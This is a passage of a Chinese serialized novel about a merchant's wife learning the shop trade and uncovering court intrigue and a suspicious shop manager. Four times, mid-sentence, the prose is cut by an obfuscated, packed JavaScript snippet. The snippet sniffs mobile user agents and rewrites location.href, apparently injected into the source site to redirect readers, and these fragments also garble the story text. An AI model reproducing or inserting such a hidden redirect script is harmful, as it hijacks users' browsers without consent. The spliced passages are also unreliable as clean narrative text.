他又拿出几份采买单和货样册：“采买则主要是由在下和其他两位大掌柜，哦是了，眼下他们一个往北疆送棉衣，一位要随二爷去东洋，故而不在铺子里。我们根据库存和行情，拟定单子，报府里大账房审核拨款，再由相熟的大商号供货，或直接派人去产地采购。定价则需参考成本、市价、货物稀缺程度，以及是否是指定供应宫里的品类，后者定价需格外谨慎，利润也相对固定。” 万山雪听得极为认真，不时拿起账本翻看。 那上面的数字密密麻麻，记载着货物的名称数量和银钱往来。 她自幼受过教育，算学亦不差，看着那些数字，心中默默计算。 “这匹湖绉，进价一两二钱，售价二两八钱；这套天青瓷具，进价五两，售价九两……” 她指着账目上的几行，轻声复述，随即抬头问，“寻常布匹瓷器，毛利是否都在五成上下？而如南洋香料这类舶来品，风险大运费高，利润也是如此么？还有，供应宫里的物料，其定价和利润，是否与这些民用货物不同？想来是由内务府直接定价吧。” 丰德面上流露出一丝惊讶，他接过伙计端过来的茶奉与万山雪，明显在恭谨之中透出些赞赏来。 她暗自忖度，想来他此前以为她不过是来此静养，或者太太见不得她，变个法子驱逐出来的。 见他一时没有答话，她笑道：“事关利润之事，若是我问得不当，掌柜不说也没关系，不必为难。” 丰德说道：“二奶奶哪里的话，崔家家业都是二爷与您的，有何不当之处？寻常货物毛利确实多在三四成到五成之间，需看行情浮动。香料、珠宝等物，利虽厚，但积压资金多，航路风险大，行情波动也烈，并非稳赚。至于宫里的差事……” 他呷了口茶，摇摇头，“那是面子，更是枷锁。一层层盘剥下来，价格往往压得低，交货时限严，质量要求苛刻，稍有差池便是大祸。但做好了，便是长久的关系和招牌，对铺子其他货物的销路也有裨益。其中的分寸拿捏，最是考验人。” 万山雪默默点点头，从前只以为皇商终究是比寻常商贩要荣耀轻松些的，没想到，竟也是这般不易。 她又随掌柜在铺子里转了一圈，看他如何与前来询价的老主顾寒暄应对，如何检查新到货品的成色，又是怎样指点伙计将一批受潮的桐油妥善处理。 先前闷在府里的四角天空下，只觉得时光漫长极了，在这里忙忙碌碌，不知不觉就到了午膳时间。 丰掌柜说道：“二奶奶，您的饭菜我叫人送到中铺楼上房里去了。那儿原是二爷婚前偶尔住着的地方。我叫人收拾出来了。” 万山雪笑道：“何必那样费事？不是有些伙计的家眷们在后面用膳么？往后就与她们一起吃得了。” 她想了想又说：“丰掌柜，往后我也随二爷唤您一声丰叔吧。我知道崔家家事是不瞒您的，从今往后，我是打定主意跟着您学点本领在身的，所以您别一口一个二奶奶地客气，称我万娘子就使得，拿我当铺子雇的人一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877768|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使唤，否则便是不诚心教我了。” 丰德怔了怔，答应下来。 红璎与橘霜早就将楼上卧房收拾好了，她才放下碗筷，高高兴兴与她们说起这一晌的见闻，就听见牧童的声音在门外响起：“二奶奶，二爷来了。” 橘霜收拾了碗筷，见红璎还杵着不动，使劲将她拽了一并出去，只留下他夫妇二人。 崔明之一夜之间仿佛憔悴了许多，眼下青黑，下巴上冒出了凌乱的胡茬，衣着光鲜，可神色之沉重，使人觉得他的衣裳也是皱巴巴的。 他一进门，目光便死死锁定了万山雪，眼里满是红血丝，混合着痛苦、愧疚、不舍，还有许多说不清道不明的复杂情绪。 她看着他，只觉命运之手当真是翻云覆雨，人好像永远也猜不到下一个转弯会将自己带去何方。 就在短短几个月之前，她还满心渴望地盼着他等着他，只想一心一意跟他过日子，每日精心梳妆打扮，只想要他一个肯定的眼神，就欣喜若狂。 而今，他愿意向她走来了，可她却只想逃离。 她敛起思绪，淡然说道：“二爷怎么来了？” 崔明之喉结剧烈滚动了几下，张了张嘴，想说什么，对上万山雪那双静如深潭的眼眸时，却一个字也说不出来。 他沉默地从怀中取出一个用蓝布包得整整齐齐的册子，双手递了过去。布包边缘有些磨损，看得出是时常翻看的旧物。 “这个给你。”他的声音沙哑干涩。 万山雪没有接，只是用目光无声地询问。 “是我这些年，自己琢磨的生意心得，不敢说比前人巨著高明，可都是实打实的经验。” 崔明之艰难地解释道，语气里带着一丝恳求的意味，好像怕她不肯收：“从看货议价记账，到与各色人等打交道，避坑防骗，还有些南北货品的门道……都零零散散记在上面了，或许对你能有点用处。” 他上前一步，将布包轻轻放在了万山雪面前的桌上。 交代完这些，他再次看向她，目光贪恋地在她平静无波的脸上停留了片刻，似乎想将那容颜刻进心底。 末了，他只低低地说道：“我午后便启程往东洋去了。此去归期未定，你好好照顾自己。丰叔靠得住，遇到难处只管跟他开口。” 万山雪眼睫微垂，点点头，轻声道：“好，二爷保重。” 他扯出一个干巴的笑容，走到门口却又折回身来：“我已嘱咐过丰掌柜，每月在府里月例之外，另给你十两零用。我不在家，你不要委屈自己。” 她颔首浅笑：“多谢二爷。” 崔明之深深地看了她一眼，突然猛地转身，大步流星地走了出去。背影在苍白的阳光中，竟透出一股仓皇逃离的狼狈与孤寂。 屋子里重新恢复了安静，阳光透过门板缝隙，照在柜台那个蓝布包上，尘埃在光柱中缓缓浮动。 她这才发觉，有两行泪淌了下来。 53. 第 53 章 眼泪越流越多，抛沙一般撒了下来。 两人关系走到这一步，分开明明是解脱，究竟为什么难过，她实在难以分说清楚。 发现兰芬真实面目的时候，她也是发自内心地痛过。 大抵每一段关系，不论好坏，到了谢幕之时，总是让人伤感的，毕竟曾经那样诚挚而热烈的投入过，相信过。 良久，她才伸出手，指尖轻轻拂过那蓝布包的表面。她没有立刻打开，只是感受着那份实实在在的厚度。 这里面包裹的，或许是他生于商人之家，耳濡目染积累下来的经验，也是作为夫君，笨拙又迟来的愧疚与牵挂。 阴差阳错，原来是这样的滋味。 她满心惘然。 牧笛又噔噔上来了：“二奶奶，方才二爷忘了告诉您，万府里二公子大喜，咱们太太和二爷都已送了贺礼去。亲家太太说，万二公子身体抱恙，晚些日子办庆宴时再来相邀。” 万山雪点点头。 牧笛传了话却不走，仍旧呆呆站着，欲言又止，眼神却直往外门口飘。 她洞悉他的心事，笑道：“你是想跟红璎作别么？去吧，她在隔壁房里。” 牧笛眼睛一亮，语无伦次说道：“我……我还以为奶奶生了这场大气，从此再不许我跟红璎姑娘说话呢！” “那是什么道理？莫说我与你们二爷尚有夫妻之名，便是来日我俩散了伙，你们终究还是故人。”万山雪嗔笑。 牧笛听了这话，满脸的笑容蓦地收住，垂着头用鞋尖蹭地，好一会儿才说道：“二奶奶，二爷他如今是真心的想待您好。” 说罢连耳根子都红透了，不等回应扭头就走。 万山雪默然坐了一会儿，听见楼下崔明之在说话，便走在窗帘后面，只听他说道：“二奶奶在这里，你们须得多费心。生意上的事，无论大小，耐心些仔细教她。账目银钱，务必清晰，由她经手亦可。若有人敢因她是女子，或以别的什么缘由，轻慢欺生，掌柜报与我知道，我是决不轻饶的。” 最后一句，隐隐带上了厉色。 丰德稳重应承下来：“二爷只管放心，山水迢迢，万事保重。” 不多会儿，牧笛也到了楼下，主仆俩翻身上马，一前一后消失在了街角。 她摇摇头，重新洗漱一把下了楼。 丰德还伫立在门口，朝着崔明之离去的方向长久地注视着，她看得清楚，他侧脸挂着一颗泪珠，将落未落。 心里不由得暗自讶异，崔父故去那么多年，连崔明之这个亲儿子说起来都已经云淡风轻。单凭当年的主仆情，丰德不仅可以做到忠诚无二，还对故人之子如此上心牵挂，当真难得。 见她下来，丰德用袖子胡乱拭去眼泪，牵强一笑。 “丰叔别太担心了，二爷定会平安无恙归来的。” 丰德低头掩盖泪意，哽着嗓子说道：“一时激动，让二奶奶见笑了。我不过……唉，就是有些心疼他，年纪轻轻的孩子，这些年很不容易。” 她忽然不知道说什么。 彼此静默一会儿，她岔开话题说道：“丰叔，大概的流程我已经明了。后晌我想着先从辨认货物开始学习，不知道这思路对不对。” “正该如此。” 丰德颔首，取来了不同档次的丝绸，将产地做工一一说与她听，又教她如何通过丝绸的手感、密度、光泽等来区分质量。 陆陆续续有客人进店，她就勤勉跟在一旁，细心学习寒暄留客之道。 一直忙到日落西山，伙计们在做打烊前的准备，她才骤然放松下来。虽满身疲惫，精神却好极了。全然不同的世界，虽然只学到一点皮毛，可透过这个小孔，便能窥见广阔无垠的天地。 她帮着收拾完，对掌柜说道：“今日辛苦丰叔，简直如教幼儿学步一样，一点一点传授于我这个笨学生。这份恩师情，我记在心里，往后再图报答吧。若是我言行举止有不当之处，还请丰叔直言不讳。” 丰德笑笑，躬身道：“二奶奶何须过谦，明日再见罢。” 到了夜里忽然下起雨来，淅淅沥沥敲打在瓦片上，直到天明也未停歇，推开窗子，潮湿的土腥气和寒意扑面而来。 雨天客稀，她捧着崔明之的生意经看了半晌，与丰德打过招呼，便吩咐红璎备好礼物与她回一趟万家。 马车停在万家侧门，绕过影壁，穿过熟悉的回廊，她忽地停住了，环视这个从小长大的地方，陈年旧事如水草缠绕上心头。 出发前橘霜的那句话还在耳边回响：“今日是单日子，按着此前约好的，我方才悄悄与孙夫人身边的芳林姑娘见了一面。她说花露精神稍好些了，一有力气就开始写，写一会儿哭一会儿，看得人心里怪恓惶。老将军和夫人当真仁德，请了相熟的大夫为她诊治疗养。” 恐怕要不了多久，她就要与万家彻底决裂了。 兰芬在起居的小花厅里等着她，临窗坐着，屋子里摆着几盆开得正盛的菊花，添了几丝清芬。 一见她进来，兰芬便放下茶盏，伸手唤她：“好孩子，我一瞧见你，心里总算是敞亮些。你瞧瞧咱们家里今年这等不太平，一个费事的绣儿不够，又来一个锦儿胡闹。真折腾得我死不能活不得的。” 万山雪故作不知笑道：“母亲这话只可跟我说。若是叫外人听去，得骂咱们不知足了。二弟才刚中了举人，天大的喜事，放在别人家要大肆庆祝的，母亲还生什么气？” 兰芬叹口气说道：“锦儿那孩子你是知道的，心气高，就为了这次排名靠后，从昨儿放榜起，他便像是被抽了魂似的，茶不思饭不想，日夜只守着书卷，说什么也要在明年会试里一雪前耻。本来就感了风寒，又这么不要命的使劲儿，四更天丫鬟就来说发起了高热，烧得滚烫，早起喝了药又捧着书卷，怎么劝都不停……” 她说着说着嗓子便哽住了，泪珠止不住地滚落下来。 只怕这部分眼泪，有六成都是因为花露失踪所致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882249|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，万山雪暗想道。 至于万山锦，确实是才高气傲，可山外有山人外有人，功名心太重，便会让人过分自苦，钻了牛角尖去。 “二弟只是过于自律勤勉，一时未能想开。待我去劝劝，或许能听进去一两句。” 兰芬求之不得，连忙命秋禾引了她去。 万山锦的院子是府里最为清幽的所在，此刻院中寂静无声，只听寒风动处，竹叶沙沙作响。 推门进去，只见他歪在床上，手里还拿着书卷，面色苍白，嘴唇干裂，果然一副心力交瘁的模样。 瞧见万山雪，他挣扎着坐直了身子，勉强扯扯嘴角：“长姐。” 万山雪在床边的椅子上坐下，温言道：“听母亲说，你为乡试名次之事，心中郁结伤了身子？” 万山锦脸庞升起一片潮红，别开脸去。 “顺天府人才济济，你年纪轻轻便能一举得中，已经证明了能力与才学。榜上有名，便是朝堂认可的栋梁之选。再说你想要会试一鸣惊人，那自然是好事，可你要知道，考试比的不仅仅是经纶文章，更是心态体魄。你若是此时便将心力损耗殆尽，到了考场上，精神不济思路必然受阻，又怎能发挥所长？” 万山锦转过头来看着她，紧绷的身体慢慢松弛下来：“多谢姐姐。我只是觉得愧对父母期望。” “父母的期望，是盼着你康健，同时能成才最好，而非要你以性命相搏去求个虚名。你苦读诗书，从小处说，是为了安身立命。往大了说，将来要兼济天下，保国安民，而非仅仅一场考试排名。二弟，眼光放长远些，来日方长。” 万山锦咬住下唇，已有些哽咽：“我候场时，有几个相熟的考生跟别人传笑起万山绣的丑事来，真真气死我了，恨不得找个地缝钻进去……” 万山雪心里冷笑，面上却含糊过去：“你俩终究是一母同胞的亲兄妹，这件事过去就过了吧。眼下你中了举人，往后这一类流言蜚语就会不攻自破。” 见他脸色平复些许，将书卷放在一旁，万山雪便不再多言，只嘱咐他按时用药，好生休息，便起身告辞。 才走到穿堂，便瞧见秋禾满脸堆着笑迎上来：“大姑娘，太太请您再去屋里说会儿话，特命丫头备了您爱喝的桂花茶。” 她点点头，知道兰芬要进入正题了，她不动声色与红璎对视一眼，又回了花厅。 桌上果然摆着新沏的桂花茶，香气馥郁。兰芬拉着万山雪又说了会子家中琐事，话题兜兜转转，看似随意自然，却终于引向了那一晚。 “昨儿明之来说，他午后就启程要走，慌得我什么也没给人家准备，只来得及带了几样吃食，心里着实过意不去。他一走，往后你也孤雁儿似的，没事多回来几趟，别自己整日闷在屋里。” 兰芬用手指轻轻摩挲着杯壁，语气依旧是闲聊的随意，“是了，你陶伯伯昨儿来贺喜时，说起前两日夜里抓嫌犯时，怎么遇见你跟雁歌了？大晚上你们跑到将军府去做什么？” 54. 第 54 章 “嗐，”万山雪没好气地说，“这个陶谦，若非看在他是我爹爹同僚的份上，真叫我说出好话来了。” “怎么回事？气得我们雪儿这样，喝口水慢慢说。”兰芬索性坐到她的身边，轻轻帮她顺着后背。 “那日我如何进的兰家母亲也知道，费了多大劲儿，好容易将舅舅舅母哄得松了口，带着雁歌妹妹出来散散心。哎，母亲不知道，她哭了足足半日，一直也没下车，不吃不喝的。偏是倒霉，碰上陶伯伯带队抓捕要犯，母亲您说，年纪轻轻的女孩儿家，脸皮薄得很，哪儿能真掀开车帘让他们查探？” 万山雪越说越动怒，“亏我还想着莫要耽误了公务，让陶伯伯检查一下便罢了，他却为着两家交情执意不肯。谁知我们走出一段路，发现后面有两个黑衣男子紧紧追赶，唬得我魂儿都没了。母亲想，是我大包大揽带妹妹出去的，若是出点岔子，那可怎么交代？车上都是女子，车夫又是雇的，见有危险坐地起价，拿刀逼着我们加钱……” 兰芬听得脸色发白，拍着心口问道：“敢情他们是一伙的？” “还说不准。幸而当时红璎反应快，逼得那车夫下了车，我们无头苍蝇似地跑，真也算命大，误打误撞跑到了将军府。前后来了两伙人逼着我们，黑夜茫茫，辨不清楚是那两人的同伙还是官兵，幸而黎老将军及时出手相救，在人家那儿叨扰一晚上，次日老将军遣人将我们送回兰家。” 这番话早已在她心里过了无数遍，说得又急又快，还带着满脸的恼怒。 看兰芬的表情，便是不信，大约也挑不出什么刺来，只温言安抚了她一阵。 万山雪顺势将话题转移到万山绣身上来：“妹妹这几日怎样？我原想去她院子里瞧瞧的，又怕过于唐突。” 兰芬的眼神冷了下来：“说她做什么？从今往后只当没这个人吧。我与你实话说，锦儿中举不待客也有这一层缘故，人来客往的，见一次提一次，就这么一张老脸不够她丢的，我送她去你小舅舅家住着了。” 外祖父母离世得早，兰中正和兰中承又非一母所生，故而早早分家各过。 “叫我说什么好？父母安排好的光明大道她不肯走，还说什么我们利用她给锦儿铺路，真真伤透了我的心。葛家那边，儿子寻死觅活的也是够呛，这下子真成了灰堆里的豆腐。我实在想不通，从小那样乖巧的孩子，又是养在跟前儿的，我会一点儿不知道，她何时长成了这个样子……” 兰芬说着，怔怔坠下泪来，也不用帕子去擦，偏了脸只管啜泣。 万山雪笑道：“瞧您，素日里安慰我时大理小情一套一套的，这会子怎么自寻烦恼起来？妹妹气头上的几句难听话，您还跟孩子计较么？说不准这会子就在给您写悔过书呢。” 见兰芬还是垂泪不语，她软声撒娇道：“哎哟好啦，您想想当年我气得您和爹爹肝疼的时候，这会子咱们还不是亲亲热热坐在一起？您一碗水端得溜平，受气也得轮流嘛，不能只有我和毓儿惹你们生气。” 兰芬被她逗得破涕为笑，轻啐一口：“你们这几个小冤家，就会欺负我，怎不见在你爹跟前这样淘气？” “娘亲娘亲，自古至今没听见过‘爹亲’这个词儿。好了好了，别哭了，赶明儿我去接妹妹回来，您老人家见了给个软话，保管咱们家里雨过天晴。” 用过午膳，雨也歇了，万山雪就匆匆告辞，回了铺子里。 午后店里暂无客人，伙计们休息的休息，理货的理货。临街铺面容易有灰尘，她拿着鸡毛掸子将高处的货架上细细扫了一遍，不知是跟兰芬周旋耗神太过，还是夜里没睡踏实，只觉得一阵头晕，就往隔间里小憩了会儿。 迷迷糊糊间，忽听铺门上的铜铃忽然“叮铃”一声脆响。 她透过格子瞧见有两个男子走了进来，看打扮像是南边来的行商，风尘仆仆。年长些的穿着赭石色绸缎直裰，面皮微黑，眼神精明；另一个稍年轻些，穿着银丝云锦长袍。 早有伶俐的伙计迎上前去招呼，她便安心继续伏在桌上养神。 “伙计，将你们这儿最好的桐油取来我看看，有多少拿多少。”年长些的商人扬声说道，带着南边口音。 伙计麻利地奉上茶水，脆生生应道：“好嘞，客官先歇歇脚润润口，小的这就去库房取。” “这崔家倒是阔气，紫笋茶拿来招待客人，从前可是贡品。”年轻的尝了一口笑道。 “崔家与一般京商不同，南方自有茶园，再说，堂堂皇商培养出来的伙计，练就的火眼金睛，扫一眼便知道您周大公子的分量，寻常茶水哪敢端上来？” 两人说笑一阵，声音又低了下去，嘁嘁嚓嚓听不清楚。 万山雪昏昏欲睡之时，忽然听到年长者的声音大了起来：“此话当真？” “千真万确！我舅爷是在御前当差的，吃醉了酒才跟我透出这么点儿风声。”年轻者压着嗓子说道，“那位爷表面上威风凛凛去了北疆，实则只是一场戏。” 一听“北疆”二字，万山雪完全清醒过来，竖着耳朵往下听。 “不去北疆，那去了哪儿？” “南边！”年轻商人吐出两个字，带着一种知晓内情的得意，“悄悄去的！带着最精锐的那一营人马，昼伏夜出，走的是山野小道，怕是这会儿都快到江淮地界了！” 万山雪心中猛地一跳，这说的必然是黎偃松了。 他去南边做什么？ 她蓦然想起送别那日，他端坐马上，目光沉静如深潭，此刻回味，竟品出悲壮意味来，心头蓦地揪住。 “如此说来，要变天了，咱们得往晋陵挪挪窝了，吃不到肉，好歹分一碗汤喝。” “也就是你我这样的交情，我才告诉你，趁早做准备，真要动起真格来，那会子就看谁手里的货物多了。” “依贤弟说，这把谁的胜算更大？” “姜是老的辣，甭看那位在龙椅上坐着，终究太年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885469|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，哪里是老狐狸的对手？人家在朝中经营多年，根深蒂固，遍地都是耳目。他毕竟是孤军深入，就譬如送肥羊入虎口，那是有去无回。” “可惜了，少年将军的一腔子忠义算是白糟蹋了……” “这就不是咱们该操心的了。”年长商人放下茶盏，拍了拍手，“神仙打架，小鬼遭殃。咱们只管见风转舵，别晕头晕脑的丢了身家性命便是。” 两人指挥着伙计们将桐油尽数搬上车，又买了几样物事，与伙计说笑几句，方才离去，留下一室寂静。 万山雪仍然伏在桌子上一动不动，手脚冰冷。 这突如其来的消息，如同一声惊雷在头顶炸开。 黎偃松年纪轻轻，竟然身负如此凶险的秘密使命。可是这等机密，连两个寻常行商都能知晓，金弘权倾朝野，手段狠辣，岂会坐以待毙？ 若是早已布下天罗地网，等着他们去…… 她忽地站起身来，不敢再想下去，抓过一块抹布到了外间。 伙计见了抢过来笑道：“二奶奶使不得，这些杂活交给我吧。” 万山雪心里烦乱，也没有说什么，缓步走到门前，瞧着逐渐萧瑟的冬景，忽地想起江心澜的信。 信中那些鲜活跳脱的字句在她心里快速跳跃，凛冽风沙，璀璨星河，将军对新兵的关照指点…… 她猛然倒退两步，原来如此。 一股冰冷的战栗沿着脊椎攀升，随之而来的是骤然洞悉真相后的恐惧。 那些看似洒脱飞扬、充满生趣与关切的描述，恐怕都是精心设计过的。它们的目的根本不是为了向她描述北疆风光，也不止是报一声平安，而是为了坐实“黎偃松带队前往北疆”这场大戏！ 江心澜必然从一开始就知道，来往信件必然会被监视，所以选择了最稳妥的法子。 她还特意写了兰家的地址，特意给兰中正附上短笺，说怕婆家娘家人先看了信去，就更像是闺中密友之间寻常的想念与分享，也更让这场戏显得真切。 “心澜……” 她不由自主双手合十默默祷念，这个爽朗洒脱、步履生风的姑娘，竟然与黎偃松和将士们一道，并肩立于漩涡之中。 傻姑娘，她不怕么？ 这几个月，她沉溺于深深的自怜之中，只觉得命途多舛天不见怜，生母祖母与乳母皆撒手人寰，继母算计，婆家冷漠，夫妻疏离……仿佛天地将所有苦楚都留给了她。 直至此刻，她才猛然惊觉，原来年龄相仿的他们，早已扛起了朝堂博弈、国运民生的重担，面上还能那样云淡风轻。 心里的惊涛骇浪慢慢平息。 她忽然有些庆幸，若非那夜尤氏算计，若非这一连串的阴差阳错将她推到此处，她大概永远也不会知道这些。 她仰头看向匾额上“崔记杂货铺”五个大字。 真好，从今以后，这里不仅仅是她的避风港，也将是她窥听的耳，眺望的窗。 55. 第 55 章 一连几日，万山雪都心神不宁。 那两个商人的话像刺一样扎在她心里，白日里招呼客人时总走神，夜里翻来覆去睡不着。红璎橘霜察觉她不对劲，一天几遍给她熬养神茶，她只推说是铺子里事多累着了。 她原想着往将军府走一趟，可是思来想去，眼下除了黎偃松，黎府所有人都与普通百姓无异，手无寸权。得知此事，除了徒增焦虑，似乎并没有什么用处。 火急火燎的焦灼着，连嘴角都起了泡，心烦意乱之中，她忽地想起相国府的赵掌柜与尤氏的秘事，登时激灵灵打了个寒战：相国府的一些行动，有没有可能通过崔家来进行？ 回想起来，黎偃松一行救了她之后，崔明之曾那样积极地去拉拢关系，这其中是否也有金弘授意？ 她越想越怕，开始格外留心账本，企图能找出一些蛛丝马迹来。 几日后的傍晚，她忽然发现丰德在白日拉走的两车棉布记录底下划了一道粗线，而其余的大宗货都没有。 她悄悄翻看了旧账，发现每隔一段时间就会有这种情况出现，便存疑在心。 又过了七八日，店里来了三个客人，说是要谈一笔绸缎大单。掌柜请他们到内室详谈，这一谈就谈到掌灯时分。 万山雪实在按捺不住，借故路过停留一会儿，隐约听见几句：“这一次非同以往，必须找最可靠的伙计装车。钱不是问题，要的是万无一失，稳稳当当运到晋陵……” 她脚步一顿，心头骤紧，若无其事地走开。 客人们走后，丰德满面红光进门来，万山雪暗中审视他的脸色，见他虽是一脸谈成生意的兴奋，可细细看去，那层高兴不像是由内心而起的，倒像一层壳子，是临时戴上去的面具。 “丰叔，生意谈成了？” “妥了，三百匹上等杭绸。” 万山雪疑惑道：“丰叔，我有个疑问一直想不明白，几次要请教您都给岔过去了。譬如我是商家，要进一些上等绸缎货，直奔苏杭湖州一带不是最好的选择么？为何要来到京城买倒手的货，多费一重钱财？” 丰德捻须一笑：“二奶奶以为，做生意这行，最金贵的是银子么？” 万山雪一怔：“难道不是？无利不起早……” “是，可真正让你获利的，是眼力，是消息，是工夫。这三样东西，产地给不了你，京城却能给你备齐了。” 这些话万山雪是闻所未闻，不由得坐直了身子：“此话怎讲，请丰叔不吝赐教。” 丰德在茶盏里蘸了茶水划出两道线：“你看，这里是杭州、苏州、湖州，家家有机杼，确是丝绸窝子不假。可你去了，第一难题，找谁买？你瞧咱们京城的福瑞祥，六层楼里摆的绸缎岂止上万匹？光是红色就能分出胭脂红、珊瑚红、霁红等几十种花样。你进了门，一盏茶的工夫，伙计能将眼下最好卖、得利最多的都给你掰开揉碎讲得明明白白，这货比百家的时间精力，先就省下来了。” 万山雪若有所思地点点头。 丰德又道：“第二，你去人生地不熟的地方，谁给你做担保？眼见的好货色，装车时却暗地给你塞上淋醋缎，霉斑锦，你找谁说理去？这来回耽搁拉扯、磨嘴皮子的工夫，比钱可金贵多了。咱们外面那块招牌，就是担保，就是信誉，次货根本进不了咱的库房。那些客商来买的，也是这份放心。” “再说第三点，也是顶顶要紧的。你到了杭州，只能买绸缎。可你在京城前门楼子外坐着喝口茶，遇见的可能是山西的票号老爷，罗刹国的商人，某个王公贵族的管家，指不定就能增加多少财路消息。说到底，皇城是生钱的炉子。咱们经商的人，就是要找那炉火最旺、风口最高的地方待着。” 万山雪忙给丰德换了一杯茶，感叹道：“怪道人家都说生意是门大学问，别看我嫁进崔家这些年，若非亲来铺子里，还以为开铺子就是转手卖东西这样简单。” “可不容易呐！” 丰德咽下一口茶水，望向门外，眼神里竟有些许苍凉意味。 万山雪留心盯着，果然发现，丰德在这批货物的记录底下又划了线。 而后他招呼伙计们：“这批货要得急，咱们得动仓库里那批老货。今晚都睡个好觉，明儿大干一场，给你们双倍的赏钱。” 伙计们欢喜着都散去了。 关了铺子，丰德欲往后门去，忽又立住对万山雪笑笑：“两年前进价低不少，如今杭绸价钱翻了两番，这笔生意做成，太太知道了准欢喜。明日午后就劳烦二奶奶看店了，我得押到码头才放心。” “丰叔只管去忙。”万山雪册子，又嘱咐道，“这一忙恐怕要到夜里才能回来了，丰叔记得带件厚衣服，别着凉了。” 丰德深深看了她一眼，眼里闪过一丝波动，他重重点头：“谢二奶奶关怀。” 这一夜又是睡不安稳，“务必找最可靠的伙计装车”，这句话足足在耳边回荡了一整晚。 次日用过午膳，丰德大手一挥，除去两个伙计守铺以外，其余都跟着他去了西仓库。 虽是老伙计，可也难保个个都是最可靠的。究竟是自己想多了，还是有什么装货诀窍？万山雪心里愈发犯疑。 柜子里锁着的旧账册按年月分得很清楚，她索性将近几年的账册都翻出来细细查看，果然，每隔一段时间就有类似的情况。 这些货物竟有个共同点，大都是棉布绸缎之类的，难不成自己多心了，人家只不过是便于归类？ 可也不见别的同类货物有这等标识。 她百思不得其解，太阳穴也隐隐作痛。 到了薄暮时分，十余辆板车陆续到了后门。伙计们喊着号子，将一匹匹绸缎搬上车。丰德站在车旁，手里拿着账簿，每搬上一车就勾画一笔，神色肃穆如临大敌。 万山雪站在二楼窗前，看着下面忙碌的场景。 月光还没上来，院子里点起了十几盏灯笼，昏黄的光在秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891809|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风中摇曳，将人影拉得忽长忽短。丰德的身影在光影里穿梭，时而弯腰验货，时而低声吩咐，那件半旧的灰布棉袍在夜风里鼓荡。 戌时三刻，最后一车货装好了。丰德拍了拍手，接过伙计递过来的棉衣，跳上第一辆车。 车队浩浩荡荡出发了，万山雪又在窗前站了两盏茶的时间，确认他不会折返，嘱咐守店伙计万事留心，便揣着蜡烛悄悄到了后院里。 天气寒冷，有两家随店的伙计家眷们带着孩子早早睡下了，灯笼的光芒照得院里一片亮堂。 丰德住的小屋就在装货场的后面，此刻院儿里空荡荡的，只有几片落叶在风里打旋。她的心快从嗓子眼里跳出来了，走到门前，一手按着心口，一手往门上一摸，锁了。 意料之中。丰德那样谨慎的人，出门不锁才是见了鬼。 她退后两步，从发间拔下兰花簪子，插进锁眼里轻轻转动，“咔嚓”一声轻响，她闪身进去，反手带上门。 屋里一片漆黑，弥漫着陈旧的布料味、药草味，还有一点墨香。她站了片刻，等眼睛适应了，才借着窗纸透进来的光亮打量四周。 屋里陈设简单得近乎简陋。 一张板床，一张方桌，一把椅子，一个掉漆的木箱。墙上挂着外衣，一幅“五谷丰登”年画。桌上摆着茶壶茶碗，旁边还堆着两本书。 若不是亲眼所见，谁敢相信这是崔记大掌柜的居所？ 她打开木箱，里面是几件半旧的衣裳，叠得整整齐齐，最底下压着一双新纳的千层底布鞋，鞋底密密麻麻的针脚，纳得极扎实。 箱角还有个小布包，她解开，里面是几块碎银，几枚铜钱，还有一绺绳子系着的头发。 好似没听说丰德有妻儿，她且不去管闲事，将东西原样放回，走到床前。褥子铺得平整，被子叠得方正。她掀开褥子——下面空无一物。又弯腰看了看床底，只有一双棉鞋。 她直起身，目光扫过整个屋子，墙上的年画……她走过去，轻轻掀起年画一角，什么也没有。 目光落在了枕头上。那个荞麦皮枕头看起来很寻常，中间微微塌陷，是常年枕卧的痕迹。她伸手按了按，荞麦皮沙沙作响，掀开了枕头套一摸，什么也没有。 就在几乎要放弃时，鬼使神差地，她伏在地板上，朝着桌子底下一点一点摩挲过去，果然有一个暗格，轻轻一拉，啪嗒一声有东西掉了下来。 